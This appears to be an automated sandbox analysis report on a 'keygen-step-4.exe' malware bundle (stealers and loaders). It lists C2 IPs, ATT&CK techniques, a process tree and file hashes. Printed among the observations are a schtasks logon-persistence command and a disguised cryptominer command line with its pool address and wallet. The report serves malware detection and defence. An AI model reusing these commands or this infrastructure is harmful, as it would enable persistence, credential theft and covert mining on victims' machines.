fabookie | 813d32b014bcf87216f8af360cdf257ccdbc2080f9dbd0924fe40753d0b84f46

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-11-2024 22:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

keygen-step-4.exe
Size

3.4MB
MD5

6fc4f2d665aa1aae0a56ebd4cc6227a7
SHA1

1b998ceba86cd9b87dbbf464fca3008bc5c725ea
SHA256

77acd936a5bd8eb9ae70ca4ac75e5159df48324273baae60854b6fbc412d36d7
SHA512

67048ad418bd35e30671b76951f149e81be58d94e6cbcff4cdc01f19b3bf0ca64103c59451efbf5e519e95a9a126df561ff559f7ee4cc263bfc501e6d0fa5f4e
SSDEEP

98304:SKqyUiTtG/saMpSQwnQXl8LSZ8Z56DXXuDUVJqDI6AHZQTg9:S8usaMpuQXl8LSk5mX4iJBfQs9

Score

10^/10

fabookie ffdroider gcleaner onlylogger discovery evasion loader spyware stealer trojan

Malware Config

Extracted

Family

ffdroider

http://186.2.171.3

Extracted

Family

gcleaner

194.145.227.161

Signatures

Detect Fabookie payload 1 IoCs

resource	yara_rule
behavioral8/files/0x0007000000023cb9-85.dat	family_fabookie

FFDroider
Stealer targeting social media platform users first seen in April 2022.
stealer ffdroider

FFDroider payload 2 IoCs

resource	yara_rule
behavioral8/memory/3128-103-0x0000000000400000-0x0000000000667000-memory.dmp	family_ffdroider
behavioral8/memory/3128-622-0x0000000000400000-0x0000000000667000-memory.dmp	family_ffdroider

Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie
Fabookie family
fabookie
Ffdroider family
ffdroider
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
loader onlylogger
Onlylogger family
onlylogger

OnlyLogger payload 1 IoCs

resource	yara_rule
behavioral8/memory/4612-102-0x0000000000400000-0x0000000002B59000-memory.dmp	family_onlylogger

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	keygen-step-4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Crack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	PBrowFile28.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	chrome3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	services64.exe

Executes dropped EXE 14 IoCs

pid	Process
2208	Crack.exe
4144	Crack.exe
3944	PBrowFile28.exe
1772	chrome3.exe
636	PublicDwlBrowser188.exe
3872	2.exe
4612	setup.exe
4748	jhuuee.exe
3128	md1_1eaf.exe
4768	services64.exe
544	f2217e5f.exe
3256	ss.exe
804	Setup.exe
1772	sihost64.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md1_1eaf.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
106	raw.githubusercontent.com
108	raw.githubusercontent.com
113	pastebin.com
114	pastebin.com
128	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4768 set thread context of 4092	4768	services64.exe	137

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
4996	4612	WerFault.exe	95
2220	4612	WerFault.exe	95
2732	4612	WerFault.exe	95
1392	4612	WerFault.exe	95
2876	4612	WerFault.exe	95
4760	4612	WerFault.exe	95
2116	4612	WerFault.exe	95
432	4612	WerFault.exe	95
2552	544	WerFault.exe	128
5032	4612	WerFault.exe	95

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f2217e5f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keygen-step-4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PBrowFile28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	md1_1eaf.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f2217e5f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f2217e5f.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f2217e5f.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1680	schtasks.exe
2484	schtasks.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

pid	Process
1772	chrome3.exe
1772	chrome3.exe
4768	services64.exe
4768	services64.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe
4092	explorer.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3872	2.exe
Token: SeDebugPrivilege	636	PublicDwlBrowser188.exe
Token: SeDebugPrivilege	1772	chrome3.exe
Token: SeManageVolumePrivilege	3128	md1_1eaf.exe
Token: SeManageVolumePrivilege	3128	md1_1eaf.exe
Token: SeManageVolumePrivilege	3128	md1_1eaf.exe
Token: SeManageVolumePrivilege	3128	md1_1eaf.exe
Token: SeManageVolumePrivilege	3128	md1_1eaf.exe
Token: SeDebugPrivilege	3256	ss.exe
Token: SeDebugPrivilege	4768	services64.exe
Token: SeLockMemoryPrivilege	4092	explorer.exe
Token: SeLockMemoryPrivilege	4092	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
804	Setup.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 2208	4804	keygen-step-4.exe	86
PID 4804 wrote to memory of 2208	4804	keygen-step-4.exe	86
PID 4804 wrote to memory of 2208	4804	keygen-step-4.exe	86
PID 2208 wrote to memory of 4144	2208	Crack.exe	89
PID 2208 wrote to memory of 4144	2208	Crack.exe	89
PID 2208 wrote to memory of 4144	2208	Crack.exe	89
PID 4804 wrote to memory of 3944	4804	keygen-step-4.exe	91
PID 4804 wrote to memory of 3944	4804	keygen-step-4.exe	91
PID 4804 wrote to memory of 3944	4804	keygen-step-4.exe	91
PID 3944 wrote to memory of 1772	3944	PBrowFile28.exe	92
PID 3944 wrote to memory of 1772	3944	PBrowFile28.exe	92
PID 3944 wrote to memory of 636	3944	PBrowFile28.exe	93
PID 3944 wrote to memory of 636	3944	PBrowFile28.exe	93
PID 3944 wrote to memory of 3872	3944	PBrowFile28.exe	94
PID 3944 wrote to memory of 3872	3944	PBrowFile28.exe	94
PID 3944 wrote to memory of 4612	3944	PBrowFile28.exe	95
PID 3944 wrote to memory of 4612	3944	PBrowFile28.exe	95
PID 3944 wrote to memory of 4612	3944	PBrowFile28.exe	95
PID 3944 wrote to memory of 4748	3944	PBrowFile28.exe	96
PID 3944 wrote to memory of 4748	3944	PBrowFile28.exe	96
PID 4804 wrote to memory of 3128	4804	keygen-step-4.exe	97
PID 4804 wrote to memory of 3128	4804	keygen-step-4.exe	97
PID 4804 wrote to memory of 3128	4804	keygen-step-4.exe	97
PID 1772 wrote to memory of 2248	1772	chrome3.exe	123
PID 1772 wrote to memory of 2248	1772	chrome3.exe	123
PID 2248 wrote to memory of 1680	2248	cmd.exe	125
PID 2248 wrote to memory of 1680	2248	cmd.exe	125
PID 1772 wrote to memory of 4768	1772	chrome3.exe	127
PID 1772 wrote to memory of 4768	1772	chrome3.exe	127
PID 4804 wrote to memory of 544	4804	keygen-step-4.exe	128
PID 4804 wrote to memory of 544	4804	keygen-step-4.exe	128
PID 4804 wrote to memory of 544	4804	keygen-step-4.exe	128
PID 4804 wrote to memory of 3256	4804	keygen-step-4.exe	131
PID 4804 wrote to memory of 3256	4804	keygen-step-4.exe	131
PID 4804 wrote to memory of 804	4804	keygen-step-4.exe	132
PID 4804 wrote to memory of 804	4804	keygen-step-4.exe	132
PID 4804 wrote to memory of 804	4804	keygen-step-4.exe	132
PID 4768 wrote to memory of 3576	4768	services64.exe	133
PID 4768 wrote to memory of 3576	4768	services64.exe	133
PID 4768 wrote to memory of 1772	4768	services64.exe	135
PID 4768 wrote to memory of 1772	4768	services64.exe	135
PID 3576 wrote to memory of 2484	3576	cmd.exe	136
PID 3576 wrote to memory of 2484	3576	cmd.exe	136
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137
PID 4768 wrote to memory of 4092	4768	services64.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
"C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe" -a
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4144
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\PBrowFile28.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\PBrowFile28.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Users\Admin\AppData\Local\Temp\chrome3.exe
    "C:\Users\Admin\AppData\Local\Temp\chrome3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2248
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1680
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4768
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3576
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2484
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        Executes dropped EXE
        
        PID:1772
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.office/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BetGR/pnUtRI9a9x7kTNHhD/AzlqVRzHV746NYfGJ5T" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4092
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser188.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser188.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:636
- - C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3872
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4612
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 788
      4⤵
      Program crash
      PID:4996
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 824
      4⤵
      Program crash
      PID:2220
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 804
      4⤵
      Program crash
      PID:2732
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 940
      4⤵
      Program crash
      PID:1392
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1012
      4⤵
      Program crash
      PID:2876
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1144
      4⤵
      Program crash
      PID:4760
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1136
      4⤵
      Program crash
      PID:2116
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1392
      4⤵
      Program crash
      PID:432
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1148
      4⤵
      Program crash
      PID:5032
- - C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
    3⤵
    - Executes dropped EXE
    PID:4748
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\md1_1eaf.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\md1_1eaf.exe"
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:3128
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\f2217e5f.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\f2217e5f.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks SCSI registry key(s)
  PID:544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 544 -s 352
    3⤵
    - Program crash
    PID:2552
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\ss.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ss.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3256
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Setup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4612 -ip 4612
1⤵
PID:804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4612 -ip 4612
1⤵
PID:4188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4612 -ip 4612
1⤵
PID:1632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4612 -ip 4612
1⤵
PID:4488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4612 -ip 4612
1⤵
PID:3572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4612 -ip 4612
1⤵
PID:4816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4612 -ip 4612
1⤵
PID:4148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4612 -ip 4612
1⤵
PID:3916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 544 -ip 544
1⤵
PID:3684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4612 -ip 4612
1⤵
PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\2.exe

Filesize
8KB

MD5
a5bace3c3c2fa1cb766775746a046594

SHA1
9998cad5ba39e0be94347fcd2a2affd0c0a25930

SHA256
617de4cdc27fb67b299a0d95ff2129d0ea2488040bcfd5f64868a0fab33af7a6

SHA512
66f0cb5b820014a8d73bab706de8138d22a4d690d77726ac53b785daf99ed45646c8b0236bf10e209039f78324a63c3ee1c2f7ccf852fa7d579753cb9f659184

Download Submit
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser188.exe

Filesize
101KB

MD5
13e802bd360e44591d7d23036ce1fd33

SHA1
091a58503734848a4716382862526859299ef345

SHA256
e24c3eda7673062c9b243a09bc91e608f4d9dcc5de27db025b5ad150ae014f2b

SHA512
8bb52a3b0852cc345be7d4b50b19c3778bcae5cb7ee654aced93772bee6fd22d1e87c484d91afb10af040d7c52b0f1e0b60de47a28d8eeea5e3c6afcead6163b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe

Filesize
56KB

MD5
7126148bfe5ca4bf7e098d794122a9a3

SHA1
3fe6be3ee8bf1a0c99139b146913c8c6acd7dd64

SHA256
f8c0350d71e5dd14438d477f73915c4845290c7f0620656624722183b76013f5

SHA512
0bec6450d1be17489436de7a5186dbcb88089edd4227c3b5484460c9368e5ca0a2d88c385d31989f449a5d8cc347057c80a997682d6c0ed1b9cfcb85c677eb48

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PBrowFile28.exe

Filesize
1.8MB

MD5
8902f8193024fa4187ca1aad97675960

SHA1
37a4840c9657205544790c437698b54ca33bfd9d

SHA256
95de484851569f225488320d573e398ebc2312b2d85b6c2b255b63b21aebb82f

SHA512
c351204604cb24c45ddb26847a22f5487a2942ad2b2361dbd31ce0a308c281be91658907d7fe04b483f053b7f9b0c680cae11361709ba7552f7921e727241938

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Setup.exe

Filesize
1.6MB

MD5
7009fb80a52366b6c2cd8ec052a65791

SHA1
db0894463edf3ac11e5ca4b4584e8f10d75810f6

SHA256
767c546decf6f669263e4a0a87a0f5d92234e031e9a0de3733fa954a8f3e0255

SHA512
26e50e4b3d0b5fe866423b9ae0c02f61882f632fe4a16c05da117c02fae9aea26a6c81458e4b0bc2bda8acd0407565132f8bd6b7d3e828dd90fc280b1f15f079

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d

Filesize
14.0MB

MD5
96de5522298c8e7f7298caae5c7fa1d4

SHA1
0ae8a20d88d64852d1e609b67e182c3f92a87dde

SHA256
ce43d22061873efd109e129caf60dc93cdc71c42413994f732178248fdd57ee3

SHA512
4a561ab340713dea2db37943ed94d96bab774444bd4f5de84bafbf9e76cf51547403aba8c0f401dc8b8f9c1a02361cf889b2378a21fb5bf242877965de314858

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.INTEG.RAW

Filesize
49KB

MD5
0489b6e31348e1ead95f955bc05139ea

SHA1
108d147c84ad6bd223da450f571480705aeda47f

SHA256
a9dc26c0cb9ea7a42d34714b8773b3e33d84d966a88481fdd2e73470ee788d88

SHA512
733161815ed7a2da02319202a5b7b696a976cadfdc066b0226f094eb3fcac66ce1165ac140d754df94ade849dde820f46c5f1ac1d9de8c71f186a1b26a669938

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
19fbf9968f26f8785d2579d857cdbc6b

SHA1
3f5577adc6a4257af5ca5ec2afdb95191191d06d

SHA256
87dd8ddb32ce855391fb14cda5038cab71e799ec3fa1bbf13edc4e347e9c3453

SHA512
1e033d583f4dfbb2fdc2676ab43ee1a8bc23fac54f3bddc01774c02f5ee2e6086744c0a144bf902d479f0b3fb5b8a6dc219ae9d044c9a8fbe34d1212e7ea80e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
d86f9199cb5093b8867e1db3fb965f2c

SHA1
a96c1d7497f9a9cb9934a6ad1e77984355035747

SHA256
cd847288ff5f268c94ac844472cffadafa8285b77b63a21bece93a2c8bb41468

SHA512
e134365cd96eb63e578a637c3536fe9e2edb495d44c84ff5ea3a78a6847914a0eb70f226a743aee17a6defa93cfae98fb0155317a560211d3d0e62c46bd52f4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
3f9892b86e97f6f6672da2aae4f6c2b1

SHA1
e3cbfa966258bb0b7876e22159a84c1779f5bf7d

SHA256
68ea36d2e4a7b07686cb3d5c87df65a0a17619de891d8cf090ee687aabd23b3d

SHA512
f8c82413ab69963d9bddc529bea148290313b5ae7c04dfc62521ea15ab0f62794727793b5d750fc6ac23a9bf965f55b4b2edf0725f32a0500e8ec0eddbe83210

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
d8ee8db93a888442a013d2964b936548

SHA1
e6dc9c66aede826aa0fa6d92709c062844a10c8f

SHA256
e27d79774a1ad3f3680d074a98f769744a08563da6257ae113fa3924b8565eb1

SHA512
4c7261d4fd37ad0cb27ce1adc5b7dee0064bc31aa3fefd7ee212f442d9c80445b318f07aa0d7fbcc2b47dfaa37faaa3e27ba02b4df8ea2f80922a29d1751d0df

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
90f342fe9ffbf819e607282a603a7d43

SHA1
bf774edfa7d522772bc5db337e5c2d67f34f2e1d

SHA256
42f2e65c356567d709c6bddcbc768709eeb4612a91c78efc919a79d370126224

SHA512
91dcebc9c4b288d50f815578de95a56af7038fd655390fa19d30dd416901da770e22dfe2bae112bb5c9093ca3b683ae564e3c5b2d227dc5217fc914aaeff7d20

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
131af893fdda3509c156ba94660781b3

SHA1
3f466bc9954868a5a0b5d9cb075b833f994cb559

SHA256
239b4cbdfe71aa3819e1eee267f89e1a93abeb095e50b34c3ce506f636f9dd7e

SHA512
1f9f37bf2044d48b5b7402b456e78473d7c6d83be5825a25db4390437a520763d59c62500d70686992a17f5a2373364c77e46ec78914e1f521a17344813adf1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
d7e880e586b9dd277964d93c3f6f884b

SHA1
ee406a37e18b02c0502a9e086d1bc72b088e6da3

SHA256
a1ef8ebc74ddc325e7c58c0fb9fc50d8001d99ab3fb7d1fdefff158571cbfcda

SHA512
3c60fbfebe83debe65ad491b6ddc7464f0cd7e2dbb2ccc1b24b583f53d864fc1ad4a2823488f45ddbd0337028b5a677fa0466bd6bf239ecbb8b9503f995a1d4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
0397f70c5c68aaebb3f53b37dcd26e3a

SHA1
b9b8c300ea402333b2c502c31f9a9d3f19949c43

SHA256
ca9899fcf8b04a34a9def2f9470260911b8fed40256988b1c02125bb2c5a2555

SHA512
d3d62b58cdeeddec2f7ffbb030a4dc24dace785e7a4b74c9ce5d2fc2a3b40b62b593f0f21c3033ef627154ff3e73692ffadd88bf373f0e5799c997b851c4779b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
7a21ab9db1f50f54d69938d418ff2a6a

SHA1
e3415b651b56f5a43bfe719b5bb95d87611d099d

SHA256
5b710dd3610fbcf03d51e4b826e3ee929f0551f23a8b608312679b64488393ed

SHA512
a8436eba37fc4cee57c29aedb75b5f89a8aee2f1fa51779183e7cddc50624ac4dcf1ae705b130c9877731c4ffcba6afa4878a8b6660d27ff72ca661c18cfc071

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\d.jfm

Filesize
16KB

MD5
7eddb5441f9e3374e4c09e4f9eaec5db

SHA1
e32740697dd2649f72ed4344de1aa4c4611304a3

SHA256
30f7e45c78e5d357306683a5b7b4c3ec9490f2e9c4e8a01d0e52f82daffd6f48

SHA512
